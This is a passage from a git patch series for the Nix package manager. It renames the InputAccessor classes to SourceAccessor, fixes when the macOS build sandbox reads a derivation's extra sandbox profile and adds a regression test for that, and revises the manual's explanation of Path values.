 rename src/libfetchers/{filtering-input-accessor.cc => filtering-source-accessor.cc} (61%)
 rename src/libfetchers/{filtering-input-accessor.hh => filtering-source-accessor.hh} (73%)
 delete mode 100644 src/libfetchers/mounted-input-accessor.hh
 rename src/libfetchers/{mounted-input-accessor.cc => mounted-source-accessor.cc} (86%)
 create mode 100644 src/libfetchers/mounted-source-accessor.hh

diff --git a/maintainers/flake-module.nix b/maintainers/flake-module.nix
index d35b0314874..fdac87be3fa 100644
--- a/maintainers/flake-module.nix
+++ b/maintainers/flake-module.nix
@@ -113,15 +113,15 @@
         ''^src/libfetchers/fetch-to-store\.cc$''
         ''^src/libfetchers/fetchers\.cc$''
         ''^src/libfetchers/fetchers\.hh$''
-        ''^src/libfetchers/filtering-input-accessor\.cc$''
-        ''^src/libfetchers/filtering-input-accessor\.hh$''
-        ''^src/libfetchers/fs-input-accessor\.cc$''
-        ''^src/libfetchers/fs-input-accessor\.hh$''
+        ''^src/libfetchers/filtering-source-accessor\.cc$''
+        ''^src/libfetchers/filtering-source-accessor\.hh$''
+        ''^src/libfetchers/fs-source-accessor\.cc$''
+        ''^src/libfetchers/fs-source-accessor\.hh$''
         ''^src/libfetchers/git-utils\.cc$''
         ''^src/libfetchers/git-utils\.hh$''
         ''^src/libfetchers/github\.cc$''
         ''^src/libfetchers/indirect\.cc$''
-        ''^src/libfetchers/memory-input-accessor\.cc$''
+        ''^src/libfetchers/memory-source-accessor\.cc$''
         ''^src/libfetchers/path\.cc$''
         ''^src/libfetchers/registry\.cc$''
         ''^src/libfetchers/registry\.hh$''
@@ -302,7 +302,7 @@
         ''^src/libutil/hash\.hh$''
         ''^src/libutil/hilite\.cc$''
         ''^src/libutil/hilite\.hh$''
-        ''^src/libutil/input-accessor\.hh$''
+        ''^src/libutil/source-accessor\.hh$''
         ''^src/libutil/json-impls\.hh$''
         ''^src/libutil/json-utils\.cc$''
         ''^src/libutil/json-utils\.hh$''
diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc
index 6fd60084d45..ad6cdc6d202 100644
--- a/src/libexpr/eval.cc
+++ b/src/libexpr/eval.cc
@@ -15,7 +15,7 @@
 #include "function-trace.hh"
 #include "profiles.hh"
 #include "print.hh"
-#include "filtering-input-accessor.hh"
+#include "filtering-source-accessor.hh"
 #include "memory-source-accessor.hh"
 #include "signals.hh"
 #include "gc-small-vector.hh"
@@ -399,7 +399,7 @@ EvalState::EvalState(
     , emptyBindings(0)
     , rootFS(
         evalSettings.restrictEval || evalSettings.pureEval
-        ? ref<SourceAccessor>(AllowListInputAccessor::create(makeFSSourceAccessor(), {},
+        ? ref<SourceAccessor>(AllowListSourceAccessor::create(makeFSSourceAccessor(), {},
             [](const CanonPath & path) -> RestrictedPathError {
                 auto modeInformation = evalSettings.pureEval
                     ? "in pure evaluation mode (use '--impure' to override)"
@@ -460,7 +460,7 @@ EvalState::EvalState(
     }
 
     /* Allow access to all paths in the search path. */
-    if (rootFS.dynamic_pointer_cast<AllowListInputAccessor>())
+    if (rootFS.dynamic_pointer_cast<AllowListSourceAccessor>())
         for (auto & i : lookupPath.elements)
             resolveLookupPathPath(i.path, true);
 
@@ -480,13 +480,13 @@ EvalState::~EvalState()
 
 void EvalState::allowPath(const Path & path)
 {
-    if (auto rootFS2 = rootFS.dynamic_pointer_cast<AllowListInputAccessor>())
+    if (auto rootFS2 = rootFS.dynamic_pointer_cast<AllowListSourceAccessor>())
         rootFS2->allowPrefix(CanonPath(path));
 }
 
 void EvalState::allowPath(const StorePath & storePath)
 {
-    if (auto rootFS2 = rootFS.dynamic_pointer_cast<AllowListInputAccessor>())
+    if (auto rootFS2 = rootFS.dynamic_pointer_cast<AllowListSourceAccessor>())
         rootFS2->allowPrefix(CanonPath(store->toRealPath(storePath)));
 }
 
@@ -540,13 +540,13 @@ void EvalState::checkURI(const std::string & uri)
     /* If the URI is a path, then check it against allowedPaths as
        well. */
     if (hasPrefix(uri, "/")) {
-        if (auto rootFS2 = rootFS.dynamic_pointer_cast<AllowListInputAccessor>())
+        if (auto rootFS2 = rootFS.dynamic_pointer_cast<AllowListSourceAccessor>())
             rootFS2->checkAccess(CanonPath(uri));
         return;
     }
 
     if (hasPrefix(uri, "file://")) {
-        if (auto rootFS2 = rootFS.dynamic_pointer_cast<AllowListInputAccessor>())
+        if (auto rootFS2 = rootFS.dynamic_pointer_cast<AllowListSourceAccessor>())
             rootFS2->checkAccess(CanonPath(uri.substr(7)));
         return;
     }
diff --git a/src/libexpr/flake/call-flake.nix b/src/libexpr/flake/call-flake.nix
index d0ccb1e37b7..a411564df5b 100644
--- a/src/libexpr/flake/call-flake.nix
+++ b/src/libexpr/flake/call-flake.nix
@@ -4,7 +4,7 @@
 lockFileStr:
 
 # A mapping of lock file node IDs to { sourceInfo, subdir } attrsets,
-# with sourceInfo.outPath providing an InputAccessor to a previously
+# with sourceInfo.outPath providing an SourceAccessor to a previously
 # fetched tree. This is necessary for possibly unlocked inputs, in
 # particular the root input, but also --override-inputs pointing to
 # unlocked trees.
diff --git a/src/libfetchers/filtering-input-accessor.cc b/src/libfetchers/filtering-source-accessor.cc
similarity index 61%
rename from src/libfetchers/filtering-input-accessor.cc
rename to src/libfetchers/filtering-source-accessor.cc
index d2b47b5e51c..dfd9e536d20 100644
--- a/src/libfetchers/filtering-input-accessor.cc
+++ b/src/libfetchers/filtering-source-accessor.cc
@@ -1,25 +1,25 @@
-#include "filtering-input-accessor.hh"
+#include "filtering-source-accessor.hh"
 
 namespace nix {
 
-std::string FilteringInputAccessor::readFile(const CanonPath & path)
+std::string FilteringSourceAccessor::readFile(const CanonPath & path)
 {
     checkAccess(path);
     return next->readFile(prefix / path);
 }
 
-bool FilteringInputAccessor::pathExists(const CanonPath & path)
+bool FilteringSourceAccessor::pathExists(const CanonPath & path)
 {
     return isAllowed(path) && next->pathExists(prefix / path);
 }
 
-std::optional<SourceAccessor::Stat> FilteringInputAccessor::maybeLstat(const CanonPath & path)
+std::optional<SourceAccessor::Stat> FilteringSourceAccessor::maybeLstat(const CanonPath & path)
 {
     checkAccess(path);
     return next->maybeLstat(prefix / path);
 }
 
-SourceAccessor::DirEntries FilteringInputAccessor::readDirectory(const CanonPath & path)
+SourceAccessor::DirEntries FilteringSourceAccessor::readDirectory(const CanonPath & path)
 {
     checkAccess(path);
     DirEntries entries;
@@ -30,18 +30,18 @@ SourceAccessor::DirEntries FilteringInputAccessor::readDirectory(const CanonPath
     return entries;
 }
 
-std::string FilteringInputAccessor::readLink(const CanonPath & path)
+std::string FilteringSourceAccessor::readLink(const CanonPath & path)
 {
     checkAccess(path);
     return next->readLink(prefix / path);
 }
 
-std::string FilteringInputAccessor::showPath(const CanonPath & path)
+std::string FilteringSourceAccessor::showPath(const CanonPath & path)
 {
     return displayPrefix + next->showPath(prefix / path) + displaySuffix;
 }
 
-void FilteringInputAccessor::checkAccess(const CanonPath & path)
+void FilteringSourceAccessor::checkAccess(const CanonPath & path)
 {
     if (!isAllowed(path))
         throw makeNotAllowedError
@@ -49,15 +49,15 @@ void FilteringInputAccessor::checkAccess(const CanonPath & path)
             : RestrictedPathError("access to path '%s' is forbidden", showPath(path));
 }
 
-struct AllowListInputAccessorImpl : AllowListInputAccessor
+struct AllowListSourceAccessorImpl : AllowListSourceAccessor
 {
     std::set<CanonPath> allowedPrefixes;
 
-    AllowListInputAccessorImpl(
+    AllowListSourceAccessorImpl(
         ref<SourceAccessor> next,
         std::set<CanonPath> && allowedPrefixes,
         MakeNotAllowedError && makeNotAllowedError)
-        : AllowListInputAccessor(SourcePath(next), std::move(makeNotAllowedError))
+        : AllowListSourceAccessor(SourcePath(next), std::move(makeNotAllowedError))
         , allowedPrefixes(std::move(allowedPrefixes))
     { }
 
@@ -72,15 +72,15 @@ struct AllowListInputAccessorImpl : AllowListInputAccessor
     }
 };
 
-ref<AllowListInputAccessor> AllowListInputAccessor::create(
+ref<AllowListSourceAccessor> AllowListSourceAccessor::create(
     ref<SourceAccessor> next,
     std::set<CanonPath> && allowedPrefixes,
     MakeNotAllowedError && makeNotAllowedError)
 {
-    return make_ref<AllowListInputAccessorImpl>(next, std::move(allowedPrefixes), std::move(makeNotAllowedError));
+    return make_ref<AllowListSourceAccessorImpl>(next, std::move(allowedPrefixes), std::move(makeNotAllowedError));
 }
 
-bool CachingFilteringInputAccessor::isAllowed(const CanonPath & path)
+bool CachingFilteringSourceAccessor::isAllowed(const CanonPath & path)
 {
     auto i = cache.find(path);
     if (i != cache.end()) return i->second;
diff --git a/src/libfetchers/filtering-input-accessor.hh b/src/libfetchers/filtering-source-accessor.hh
similarity index 73%
rename from src/libfetchers/filtering-input-accessor.hh
rename to src/libfetchers/filtering-source-accessor.hh
index ddf18eea432..9ec7bc21f0e 100644
--- a/src/libfetchers/filtering-input-accessor.hh
+++ b/src/libfetchers/filtering-source-accessor.hh
@@ -12,17 +12,17 @@ namespace nix {
 typedef std::function<RestrictedPathError(const CanonPath & path)> MakeNotAllowedError;
 
 /**
- * An abstract wrapping `InputAccessor` that performs access
+ * An abstract wrapping `SourceAccessor` that performs access
  * control. Subclasses should override `isAllowed()` to implement an
  * access control policy. The error message is customized at construction.
  */
-struct FilteringInputAccessor : SourceAccessor
+struct FilteringSourceAccessor : SourceAccessor
 {
     ref<SourceAccessor> next;
     CanonPath prefix;
     MakeNotAllowedError makeNotAllowedError;
 
-    FilteringInputAccessor(const SourcePath & src, MakeNotAllowedError && makeNotAllowedError)
+    FilteringSourceAccessor(const SourcePath & src, MakeNotAllowedError && makeNotAllowedError)
         : next(src.accessor)
         , prefix(src.path)
         , makeNotAllowedError(std::move(makeNotAllowedError))
@@ -55,32 +55,32 @@ struct FilteringInputAccessor : SourceAccessor
 };
 
 /**
- * A wrapping `InputAccessor` that checks paths against a set of
+ * A wrapping `SourceAccessor` that checks paths against a set of
  * allowed prefixes.
  */
-struct AllowListInputAccessor : public FilteringInputAccessor
+struct AllowListSourceAccessor : public FilteringSourceAccessor
 {
     /**
      * Grant access to the specified prefix.
      */
     virtual void allowPrefix(CanonPath prefix) = 0;
 
-    static ref<AllowListInputAccessor> create(
+    static ref<AllowListSourceAccessor> create(
         ref<SourceAccessor> next,
         std::set<CanonPath> && allowedPrefixes,
         MakeNotAllowedError && makeNotAllowedError);
 
-    using FilteringInputAccessor::FilteringInputAccessor;
+    using FilteringSourceAccessor::FilteringSourceAccessor;
 };
 
 /**
- * A wrapping `InputAccessor` mix-in where `isAllowed()` caches the result of virtual `isAllowedUncached()`.
+ * A wrapping `SourceAccessor` mix-in where `isAllowed()` caches the result of virtual `isAllowedUncached()`.
  */
-struct CachingFilteringInputAccessor : FilteringInputAccessor
+struct CachingFilteringSourceAccessor : FilteringSourceAccessor
 {
     std::map<CanonPath, bool> cache;
 
-    using FilteringInputAccessor::FilteringInputAccessor;
+    using FilteringSourceAccessor::FilteringSourceAccessor;
 
     bool isAllowed(const CanonPath & path) override;
 
diff --git a/src/libfetchers/git-utils.cc b/src/libfetchers/git-utils.cc
index a91587cb4ba..160d1ac05a1 100644
--- a/src/libfetchers/git-utils.cc
+++ b/src/libfetchers/git-utils.cc
@@ -53,7 +53,7 @@ bool operator == (const git_oid & oid1, const git_oid & oid2)
 
 namespace nix {
 
-struct GitInputAccessor;
+struct GitSourceAccessor;
 
 // Some wrapper types that ensure that the git_*_free functions get called.
 template<auto del>
@@ -330,9 +330,9 @@ struct GitRepoImpl : GitRepo, std::enable_shared_from_this<GitRepoImpl>
     }
 
     /**
-     * A 'GitInputAccessor' with no regard for export-ignore or any other transformations.
+     * A 'GitSourceAccessor' with no regard for export-ignore or any other transformations.
      */
-    ref<GitInputAccessor> getRawAccessor(const Hash & rev);
+    ref<GitSourceAccessor> getRawAccessor(const Hash & rev);
 
     ref<SourceAccessor> getAccessor(const Hash & rev, bool exportIgnore) override;
 
@@ -473,12 +473,12 @@ ref<GitRepo> GitRepo::openRepo(const std::filesystem::path & path, bool create,
 /**
  * Raw git tree input accessor.
  */
-struct GitInputAccessor : SourceAccessor
+struct GitSourceAccessor : SourceAccessor
 {
     ref<GitRepoImpl> repo;
     Tree root;
 
-    GitInputAccessor(ref<GitRepoImpl> repo_, const Hash & rev)
+    GitSourceAccessor(ref<GitRepoImpl> repo_, const Hash & rev)
         : repo(repo_)
         , root(peelObject<Tree>(*repo, lookupObject(*repo, hashToOID(rev)).get(), GIT_OBJECT_TREE))
     {
@@ -702,12 +702,12 @@ struct GitInputAccessor : SourceAccessor
     }
 };
 
-struct GitExportIgnoreInputAccessor : CachingFilteringInputAccessor {
+struct GitExportIgnoreSourceAccessor : CachingFilteringSourceAccessor {
     ref<GitRepoImpl> repo;
     std::optional<Hash> rev;
 
-    GitExportIgnoreInputAccessor(ref<GitRepoImpl> repo, ref<SourceAccessor> next, std::optional<Hash> rev)
-        : CachingFilteringInputAccessor(next, [&](const CanonPath & path) {
+    GitExportIgnoreSourceAccessor(ref<GitRepoImpl> repo, ref<SourceAccessor> next, std::optional<Hash> rev)
+        : CachingFilteringSourceAccessor(next, [&](const CanonPath & path) {
             return RestrictedPathError(fmt("'%s' does not exist because it was fetched with exportIgnore enabled", path));
         })
         , repo(repo)
@@ -918,18 +918,18 @@ struct GitFileSystemObjectSinkImpl : GitFileSystemObjectSink
     }
 };
 
-ref<GitInputAccessor> GitRepoImpl::getRawAccessor(const Hash & rev)
+ref<GitSourceAccessor> GitRepoImpl::getRawAccessor(const Hash & rev)
 {
     auto self = ref<GitRepoImpl>(shared_from_this());
-    return make_ref<GitInputAccessor>(self, rev);
+    return make_ref<GitSourceAccessor>(self, rev);
 }
 
 ref<SourceAccessor> GitRepoImpl::getAccessor(const Hash & rev, bool exportIgnore)
 {
     auto self = ref<GitRepoImpl>(shared_from_this());
-    ref<GitInputAccessor> rawGitAccessor = getRawAccessor(rev);
+    ref<GitSourceAccessor> rawGitAccessor = getRawAccessor(rev);
     if (exportIgnore) {
-        return make_ref<GitExportIgnoreInputAccessor>(self, rawGitAccessor, rev);
+        return make_ref<GitExportIgnoreSourceAccessor>(self, rawGitAccessor, rev);
     }
     else {
         return rawGitAccessor;
@@ -940,18 +940,18 @@ ref<SourceAccessor> GitRepoImpl::getAccessor(const WorkdirInfo & wd, bool export
 {
     auto self = ref<GitRepoImpl>(shared_from_this());
     /* In case of an empty workdir, return an empty in-memory tree. We
-       cannot use AllowListInputAccessor because it would return an
+       cannot use AllowListSourceAccessor because it would return an
        error for the root (and we can't add the root to the allow-list
        since that would allow access to all its children). */
     ref<SourceAccessor> fileAccessor =
         wd.files.empty()
         ? makeEmptySourceAccessor()
-        : AllowListInputAccessor::create(
+        : AllowListSourceAccessor::create(
             makeFSSourceAccessor(path),
             std::set<CanonPath> { wd.files },
             std::move(makeNotAllowedError)).cast<SourceAccessor>();
     if (exportIgnore)
-        return make_ref<GitExportIgnoreInputAccessor>(self, fileAccessor, std::nullopt);
+        return make_ref<GitExportIgnoreSourceAccessor>(self, fileAccessor, std::nullopt);
     else
         return fileAccessor;
 }
diff --git a/src/libfetchers/git-utils.hh b/src/libfetchers/git-utils.hh
index e264b2f6323..29d79955480 100644
--- a/src/libfetchers/git-utils.hh
+++ b/src/libfetchers/git-utils.hh
@@ -1,6 +1,6 @@
 #pragma once
 
-#include "filtering-input-accessor.hh"
+#include "filtering-source-accessor.hh"
 #include "fs-sink.hh"
 
 namespace nix {
diff --git a/src/libfetchers/mounted-input-accessor.hh b/src/libfetchers/mounted-input-accessor.hh
deleted file mode 100644
index 74e040f449b..00000000000
--- a/src/libfetchers/mounted-input-accessor.hh
+++ /dev/null
@@ -1,9 +0,0 @@
-#pragma once
-
-#include "source-accessor.hh"
-
-namespace nix {
-
-ref<SourceAccessor> makeMountedInputAccessor(std::map<CanonPath, ref<SourceAccessor>> mounts);
-
-}
diff --git a/src/libfetchers/mounted-input-accessor.cc b/src/libfetchers/mounted-source-accessor.cc
similarity index 86%
rename from src/libfetchers/mounted-input-accessor.cc
rename to src/libfetchers/mounted-source-accessor.cc
index 4d086c7ad72..68f3a546b57 100644
--- a/src/libfetchers/mounted-input-accessor.cc
+++ b/src/libfetchers/mounted-source-accessor.cc
@@ -1,12 +1,12 @@
-#include "mounted-input-accessor.hh"
+#include "mounted-source-accessor.hh"
 
 namespace nix {
 
-struct MountedInputAccessor : SourceAccessor
+struct MountedSourceAccessor : SourceAccessor
 {
     std::map<CanonPath, ref<SourceAccessor>> mounts;
 
-    MountedInputAccessor(std::map<CanonPath, ref<SourceAccessor>> _mounts)
+    MountedSourceAccessor(std::map<CanonPath, ref<SourceAccessor>> _mounts)
         : mounts(std::move(_mounts))
     {
         displayPrefix.clear();
@@ -71,9 +71,9 @@ struct MountedInputAccessor : SourceAccessor
     }
 };
 
-ref<SourceAccessor> makeMountedInputAccessor(std::map<CanonPath, ref<SourceAccessor>> mounts)
+ref<SourceAccessor> makeMountedSourceAccessor(std::map<CanonPath, ref<SourceAccessor>> mounts)
 {
-    return make_ref<MountedInputAccessor>(std::move(mounts));
+    return make_ref<MountedSourceAccessor>(std::move(mounts));
 }
 
 }
diff --git a/src/libfetchers/mounted-source-accessor.hh b/src/libfetchers/mounted-source-accessor.hh
new file mode 100644
index 00000000000..45cbcb09a24
--- /dev/null
+++ b/src/libfetchers/mounted-source-accessor.hh
@@ -0,0 +1,9 @@
+#pragma once
+
+#include "source-accessor.hh"
+
+namespace nix {
+
+ref<SourceAccessor> makeMountedSourceAccessor(std::map<CanonPath, ref<SourceAccessor>> mounts);
+
+}
diff --git a/src/libfetchers/unix/git.cc b/src/libfetchers/unix/git.cc
index c8fd295c090..46263c8725e 100644
--- a/src/libfetchers/unix/git.cc
+++ b/src/libfetchers/unix/git.cc
@@ -9,7 +9,7 @@
 #include "pathlocks.hh"
 #include "processes.hh"
 #include "git.hh"
-#include "mounted-input-accessor.hh"
+#include "mounted-source-accessor.hh"
 #include "git-utils.hh"
 #include "logging.hh"
 #include "finally.hh"
@@ -652,7 +652,7 @@ struct GitInputScheme : InputScheme
 
             if (!mounts.empty()) {
                 mounts.insert_or_assign(CanonPath::root, accessor);
-                accessor = makeMountedInputAccessor(std::move(mounts));
+                accessor = makeMountedSourceAccessor(std::move(mounts));
             }
         }
 
@@ -715,7 +715,7 @@ struct GitInputScheme : InputScheme
             }
 
             mounts.insert_or_assign(CanonPath::root, accessor);
-            accessor = makeMountedInputAccessor(std::move(mounts));
+            accessor = makeMountedSourceAccessor(std::move(mounts));
         }
 
         if (!repoInfo.workdirInfo.isDirty) {
diff --git a/src/libutil/source-accessor.hh b/src/libutil/source-accessor.hh
index 548feddfd1a..b3fb9fe084a 100644
--- a/src/libutil/source-accessor.hh
+++ b/src/libutil/source-accessor.hh
@@ -190,7 +190,7 @@ ref<SourceAccessor> makeEmptySourceAccessor();
 
 /**
  * Exception thrown when accessing a filtered path (see
- * `FilteringInputAccessor`).
+ * `FilteringSourceAccessor`).
  */
 MakeError(RestrictedPathError, Error);
 

From 9bd1191fccb80a895af976e2445fb92167d9d2f1 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?=
 <theophane.hufschmitt@tweag.io>
Date: Mon, 6 May 2024 15:10:18 +0200
Subject: [PATCH 084/528] libstore: check additionalSandboxProfile

Make sure that `extraSandboxProfile` is set before we check whether it's
empty or not (in the `sandbox=true` case).

Also adds a test case for this.

Co-Authored-By: Artemis Tosini <lix@artem.ist>
Co-Authored-By: Eelco Dolstra <edolstra@gmail.com>
---
 .../unix/build/local-derivation-goal.cc       |  8 +++----
 tests/functional/extra-sandbox-profile.nix    | 19 +++++++++++++++
 tests/functional/extra-sandbox-profile.sh     | 23 +++++++++++++++++++
 tests/functional/local.mk                     |  1 +
 4 files changed, 47 insertions(+), 4 deletions(-)
 create mode 100644 tests/functional/extra-sandbox-profile.nix
 create mode 100644 tests/functional/extra-sandbox-profile.sh

diff --git a/src/libstore/unix/build/local-derivation-goal.cc b/src/libstore/unix/build/local-derivation-goal.cc
index 72125cb828c..0ebd22c7559 100644
--- a/src/libstore/unix/build/local-derivation-goal.cc
+++ b/src/libstore/unix/build/local-derivation-goal.cc
@@ -177,6 +177,10 @@ void LocalDerivationGoal::killSandbox(bool getStats)
 
 void LocalDerivationGoal::tryLocalBuild()
 {
+#if __APPLE__
+    additionalSandboxProfile = parsedDrv->getStringAttr("__sandboxProfile").value_or("");
+#endif
+
     unsigned int curBuilds = worker.getNrLocalBuilds();
     if (curBuilds >= settings.maxBuildJobs) {
         state = &DerivationGoal::tryToBuild;
@@ -495,10 +499,6 @@ void LocalDerivationGoal::startBuilder()
             settings.thisSystem,
             concatStringsSep<StringSet>(", ", worker.store.systemFeatures));
 
-#if __APPLE__
-    additionalSandboxProfile = parsedDrv->getStringAttr("__sandboxProfile").value_or("");
-#endif
-
     /* Create a temporary directory where the build will take
        place. */
     tmpDir = createTempDir(settings.buildDir.get().value_or(""), "nix-build-" + std::string(drvPath.name()), false, false, 0700);
diff --git a/tests/functional/extra-sandbox-profile.nix b/tests/functional/extra-sandbox-profile.nix
new file mode 100644
index 00000000000..aa680b918a6
--- /dev/null
+++ b/tests/functional/extra-sandbox-profile.nix
@@ -0,0 +1,19 @@
+{ destFile, seed }:
+
+with import ./config.nix;
+
+mkDerivation {
+  name = "simple";
+  __sandboxProfile = ''
+    # Allow writing any file in the filesystem
+    (allow file*)
+  '';
+  inherit seed;
+  buildCommand = ''
+    (
+      set -x
+      touch ${destFile}
+      touch $out
+    )
+  '';
+}
diff --git a/tests/functional/extra-sandbox-profile.sh b/tests/functional/extra-sandbox-profile.sh
new file mode 100644
index 00000000000..ac3ca036f3c
--- /dev/null
+++ b/tests/functional/extra-sandbox-profile.sh
@@ -0,0 +1,23 @@
+source common.sh
+
+if [[ $(uname) != Darwin ]]; then skipTest "Need Darwin"; fi
+
+DEST_FILE="${TEST_ROOT}/foo"
+
+testSandboxProfile () (
+    set -e
+
+    sandboxMode="$1"
+
+    rm -f "${DEST_FILE}"
+    nix-build --no-out-link ./extra-sandbox-profile.nix \
+        --option sandbox "$sandboxMode" \
+        --argstr seed "$RANDOM" \
+        --argstr destFile "${DEST_FILE}"
+
+    ls -l "${DEST_FILE}"
+)
+
+testSandboxProfile "false"
+expectStderr 2 testSandboxProfile "true"
+testSandboxProfile "relaxed"
diff --git a/tests/functional/local.mk b/tests/functional/local.mk
index ca9837d325b..65ab20f9a4f 100644
--- a/tests/functional/local.mk
+++ b/tests/functional/local.mk
@@ -130,6 +130,7 @@ nix_tests = \
   nested-sandboxing.sh \
   impure-env.sh \
   debugger.sh \
+  extra-sandbox-profile.sh \
   help.sh
 
 ifeq ($(HAVE_LIBCPUID), 1)

From 020edac1ca3de964e36bda2841e47433f0f9db6c Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Fri, 19 Apr 2024 14:58:10 +0200
Subject: [PATCH 085/528] doc/values: Improve Path

See https://github.com/NixOS/nix/issues/8738 for a more pointed
criticism of absolute paths.
---
 doc/manual/src/language/values.md | 55 ++++++++++++++++++-------------
 1 file changed, 32 insertions(+), 23 deletions(-)

diff --git a/doc/manual/src/language/values.md b/doc/manual/src/language/values.md
index d4338e91e89..2b5f9bf933f 100644
--- a/doc/manual/src/language/values.md
+++ b/doc/manual/src/language/values.md
@@ -92,39 +92,48 @@
 
 - <a id="type-path" href="#type-path">Path</a>
 
-  *Paths*, e.g., `/bin/sh` or `./builder.sh`. A path must contain at
-  least one slash to be recognised as such. For instance, `builder.sh`
-  is not a path: it's parsed as an expression that selects the
-  attribute `sh` from the variable `builder`. If the file name is
-  relative, i.e., if it does not begin with a slash, it is made
-  absolute at parse time relative to the [base directory](@docroot@/glossary.md#gloss-base-directory).
-  For instance, if a Nix expression in
-  `/foo/bar/bla.nix` refers to `../xyzzy/fnord.nix`, the absolute path
-  is `/foo/xyzzy/fnord.nix`.
-
-  If the first component of a path is a `~`, it is interpreted as if
-  the rest of the path were relative to the user's home directory.
-  e.g. `~/foo` would be equivalent to `/home/edolstra/foo` for a user
-  whose home directory is `/home/edolstra`.
-
-  For instance, evaluating `"${./foo.txt}"` will cause `foo.txt` in the base directory to be copied into the Nix store and result in the string `"/nix/store/<hash>-foo.txt"`.
-
-  Note that the Nix language assumes that all input files will remain _unchanged_ while  evaluating a Nix expression.
+  *Paths* are distinct from strings and can be expressed by path literals such as `./builder.sh`.
+
+  Paths are the preferred type for referring to local files.
+  This is thanks to the following properties:
+  - Path values are always in a canonical form, so that you are relieved from trailing slashes, `.` and `..`.
+  - Path literals are automatically resolved relative to the location of the Nix expression file that contains them.
+  - Path values are automatically copied into the Nix store when used in a string interpolation or concatenation.
+  - Tooling can recognize path literals and provide additional features, such as autocompletion, refactoring automation and jump-to-file.
+
+  A path literal must contain at least one slash to be recognised as such.
+  For instance, `builder.sh` is not a path:
+  it's parsed as an expression that selects the attribute `sh` from the variable `builder`.
+
+  Path literals may also refer to absolute paths by starting with a slash.
+  This is generally not recommended, because it makes the expression less portable.
+  In the case where a path literal is translated into an absolute path string for a configuration file, it is recommended to just use strings.
+  This avoids some confusion about whether files at that location will be used during evaluation,
+  and it avoids unintentional situations where some function might try to copy everything at the location into the store.
+
+  If the first component of a path is a `~`, it is interpreted such that the rest of the path were relative to the user's home directory.
+  For example, `~/foo` would be equivalent to `/home/edolstra/foo` for a user whose home directory is `/home/edolstra`.
+  Path literals that start with `~` are not allowed in [pure](@docroot@/command-ref/conf-file.md#conf-pure-eval) evaluation.
+
+  Paths can be used in [string interpolation] and string concatenation.
+  For instance, evaluating `"${./foo.txt}"` will cause `foo.txt` from the same directory to be copied into the Nix store and result in the string `"/nix/store/<hash>-foo.txt"`.
+
+  Note that the Nix language assumes that all input files will remain _unchanged_ while evaluating a Nix expression.
   For example, assume you used a file path in an interpolated string during a `nix repl` session.
-  Later in the same session, after having changed the file contents, evaluating the interpolated string with the file path again might not return a new [store path], since Nix might not re-read the file contents.
+  Later in the same session, after having changed the file contents, evaluating the interpolated string with the file path again might not return a new [store path], since Nix might not re-read the file contents. Use `:r` to reset the repl as needed.
 
   [store path]: @docroot@/glossary.md#gloss-store-path
 
-  Paths can include [string interpolation] and can themselves be [interpolated in other expressions].
+  Path literals can also include [string interpolation], besides being [interpolated into other expressions].
 
-  [interpolated in other expressions]: ./string-interpolation.md#interpolated-expressions
+  [interpolated into other expressions]: ./string-interpolation.md#interpolated-expressions
 
   At least one slash (`/`) must appear *before* any interpolated expression for the result to be recognized as a path.
 
-  `a.${foo}/b.${bar}` is a syntactically valid division operation.
+  `a.${foo}/b.${bar}` is a syntactically valid number division operation.
   `./a.${foo}/b.${bar}` is a path.
 
-  [Lookup paths](./constructs/lookup-path.md) such as `<nixpkgs>` resolve to path values.
+  [Lookup path](./constructs/lookup-path.md) literals such as `<nixpkgs>` also resolve to path values.
 
 - <a id="type-boolean" href="#type-boolean">Boolean</a>
 

From 038573279c7ce17aeb5e51df0745599642f0be65 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Fri, 19 Apr 2024 15:05:40 +0200
Subject: [PATCH 086/528] doc/values: Refer to base directory definition

---
 doc/manual/src/language/values.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doc/manual/src/language/values.md b/doc/manual/src/language/values.md
index 2b5f9bf933f..d15d52e7364 100644
--- a/doc/manual/src/language/values.md
+++ b/doc/manual/src/language/values.md
@@ -97,7 +97,7 @@
   Paths are the preferred type for referring to local files.
   This is thanks to the following properties:
   - Path values are always in a canonical form, so that you are relieved from trailing slashes, `.` and `..`.
-  - Path literals are automatically resolved relative to the location of the Nix expression file that contains them.
+  - Path literals are automatically resolved [relative to the file](@docroot@/glossary.md#gloss-base-directory).
   - Path values are automatically copied into the Nix store when used in a string interpolation or concatenation.
   - Tooling can recognize path literals and provide additional features, such as autocompletion, refactoring automation and jump-to-file.
 

From 0eababb5f7eadc96bdca55239ae63f926b295c61 Mon Sep 17 00:00:00 2001
From: Robert Hensing <roberth@users.noreply.github.com>
Date: Fri, 19 Apr 2024 16:55:23 +0200
Subject: [PATCH 087/528] doc: Edit

Co-authored-by: Valentin Gagarin <valentin.gagarin@tweag.io>
---
 doc/manual/src/language/values.md | 20 +++++++++++---------
 1 file changed, 11 insertions(+), 9 deletions(-)

diff --git a/doc/manual/src/language/values.md b/doc/manual/src/language/values.md
index d15d52e7364..2dd52b379f6 100644
--- a/doc/manual/src/language/values.md
+++ b/doc/manual/src/language/values.md
@@ -94,11 +94,10 @@
 
   *Paths* are distinct from strings and can be expressed by path literals such as `./builder.sh`.
 
-  Paths are the preferred type for referring to local files.
-  This is thanks to the following properties:
-  - Path values are always in a canonical form, so that you are relieved from trailing slashes, `.` and `..`.
-  - Path literals are automatically resolved [relative to the file](@docroot@/glossary.md#gloss-base-directory).
-  - Path values are automatically copied into the Nix store when used in a string interpolation or concatenation.
+  Paths are suitable for referring to local files, and are often preferable over strings.
+  - Path values do not contain trailing slashes, `.` and `..`, as they are resolved when evaluating a path literal.
+  - Path literals are automatically resolved relative to their [base directory](@docroot@/glossary.md#gloss-base-directory).
+  - The files referred to by path values are automatically copied into the Nix store when used in a string interpolation or concatenation.
   - Tooling can recognize path literals and provide additional features, such as autocompletion, refactoring automation and jump-to-file.
 
   A path literal must contain at least one slash to be recognised as such.
@@ -106,10 +105,13 @@
   it's parsed as an expression that selects the attribute `sh` from the variable `builder`.
 
   Path literals may also refer to absolute paths by starting with a slash.
-  This is generally not recommended, because it makes the expression less portable.
-  In the case where a path literal is translated into an absolute path string for a configuration file, it is recommended to just use strings.
-  This avoids some confusion about whether files at that location will be used during evaluation,
